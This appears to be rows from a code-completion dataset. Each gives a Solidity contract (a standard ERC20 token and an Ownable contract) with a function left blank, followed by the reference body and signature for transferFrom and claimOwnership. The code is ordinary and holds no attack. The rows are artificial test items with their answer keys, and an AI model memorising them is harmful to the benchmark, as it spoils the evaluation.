contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply;} function balanceOf(address account) public view override returns (uint256) { return _balances[account];} function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;} function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender];} function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true;} <FILL_FUNCTION> function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);} function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount);} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount);} function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_;} function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }}
_transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
14496
Ownable
claimOwnership
contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public {<FILL_FUNCTION_BODY> } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } }
contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } <FILL_FUNCTION> /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } }
address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0);
function claimOwnership() public
/// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public